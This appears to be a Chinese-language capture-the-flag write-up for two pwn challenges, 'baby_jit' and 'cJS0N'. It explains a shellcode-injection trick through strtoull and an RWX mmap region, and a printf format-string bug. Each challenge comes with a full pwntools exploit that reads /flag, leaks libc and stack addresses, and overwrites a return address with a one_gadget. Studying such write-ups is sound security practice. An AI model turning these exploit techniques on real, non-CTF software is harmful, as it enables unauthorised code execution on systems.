baby_jit

程序禁用了execve,所以需要ORW读

代码分析

image-20240703182620421

程序两个功能,一个add功能,一个exec功能。

add

image-20240703182657774

add功能实际上就是创建一个堆区保存输入的内容,然后复制到dest中。没有发生溢出

exec

image-20240703182814640

exec函数实际上就是mmap出了一个可读可写可执行的区域,然后经过赋值的操作最后跳转跳转过去执行。

注意观察 v7 = ((v2 + 0x100000))();

这一步实际上就是call rdx到mmap申请的区域执行,v2的值是根据上面的 v2 = (atof(s) * 12.0)得来的。通过控制输入的offset值就能控制call rdx的位置。

所以接下来的目的是将shellcode读入到mmap内存中去。

image-20240703183334040

v5 = strtoull(s1 + 4, &endptr, 10);

这一步是处理我们add功能输入的内容。如果我们控制输入的内容为”add 144”,那么这个函数就会将字符串形式的144转化为144整数保存到v6区域(mmap申请的可读可写可执行内存)中,也就是会保存为’\x90’,也就是nop。所以同理,如果我们在add 后面拼接上特殊的数据,那么经过stroull函数处理就会保存到v6中形成对应的汇编指令。

strtoull函数相当于u64(),将字符串转化为整数

*(v6 + 2) = v5;

再根据这一部分,所以v5会保存到v6+2处的开始,那么我们可以控制offset为3,那么3x1.2就是3.6经过atof函数转换就是3,那么call rdx就是跳转到0x100003处,那么只需要控制add 后跟上处理好的数据即可,可以执行我们输入的汇编语句。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
from pwn import u64,u32,p64,p32
from ctypes import *
from libcfind import *
from LibcSearcher import *
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
debug = 1
if debug:
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('127.0.0.1', 10001)
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num).decode())
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
def add(content):
rl(">> ")
sl('1')
sl(content)
def exec(offset):
rl(">> ")
sl('2')
rl("offset?\n")
sl(str(offset))

# gdb.attach(p)
sh='''
nop
push rax
pop rdi
push rdx
pop rsi
pop rdx
syscall
'''
calc_sh= str(u64(asm(sh).ljust(8,b'\x00')))

add(f'add {calc_sh}')

exec(0.3)
# pause()
payload = asm(shellcraft.cat('/flag'))
payload = b'\x00'*7 + payload
sl(payload)

inter()

cJS0N

代码分析

image-20240703212626474

输入size和Json进入到菜单界面

image-20240703212654717

漏洞点

测试一下1,2,3的功能没找到漏洞点,在delete data功能中发现printf格式化字符串漏洞,而且是通过输入的Data name控制参数的,并且是栈上的,可以多次利用。

思路

所以利用格式delete data功能泄露libc以及stack地址,之后就是利用格式化字符串漏洞修改返回地址为onegadget

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import *
from pwn import u64,u32,p64,p32
from ctypes import *
from libcfind import *
from LibcSearcher import *
import base64
import sys
import json
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
debug = 1
if debug:
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('127.0.0.1', 10001)
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num).decode())
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
libc = ELF('./libc.so.6')
def show(buf):
rl(">\n")
sl('4')
rl("Data name:\n")
sl(buf)


# gdb.attach(p)
rl("Init Data size: \n")
sl(str(0x80))
rl("Your Json:\n")
sl('21')

show('%27$p')
rl("0x")
libc_leak = int(p.recv(12),16)
libc_base = libc_leak-0x24083
lg("libc_base",libc_base)

one_gadget = [0xe3afe,0xe3b01,0xe3b04]
one_gadget = one_gadget[1] + libc_base
lg("one_gadget",one_gadget)

show('%6$p')
rl("0x")
stack_leak = int(p.recv(12),16)
lg("stack_leak",stack_leak)

ret_addr = stack_leak+0x38

onegadget1 = one_gadget&0xff
payload = f'%{onegadget1}c%22$hhn'
payload = payload.encode('utf-8').ljust(0x10,b'\x00') + p64(ret_addr)
show(payload)

payload = f'%{(one_gadget>>8)&0xff}c%22$hhn'
payload = payload.encode('utf-8').ljust(0x10,b'\x00') + p64(ret_addr+1)
show(payload)

payload = f'%{(one_gadget>>16)&0xff}c%22$hhn'
payload = payload.encode('utf-8').ljust(0x10,b'\x00') + p64(ret_addr+2)
show(payload)

rl(">\n")
sl('2')
rl("Data name:\n")
sl('aaa')


inter()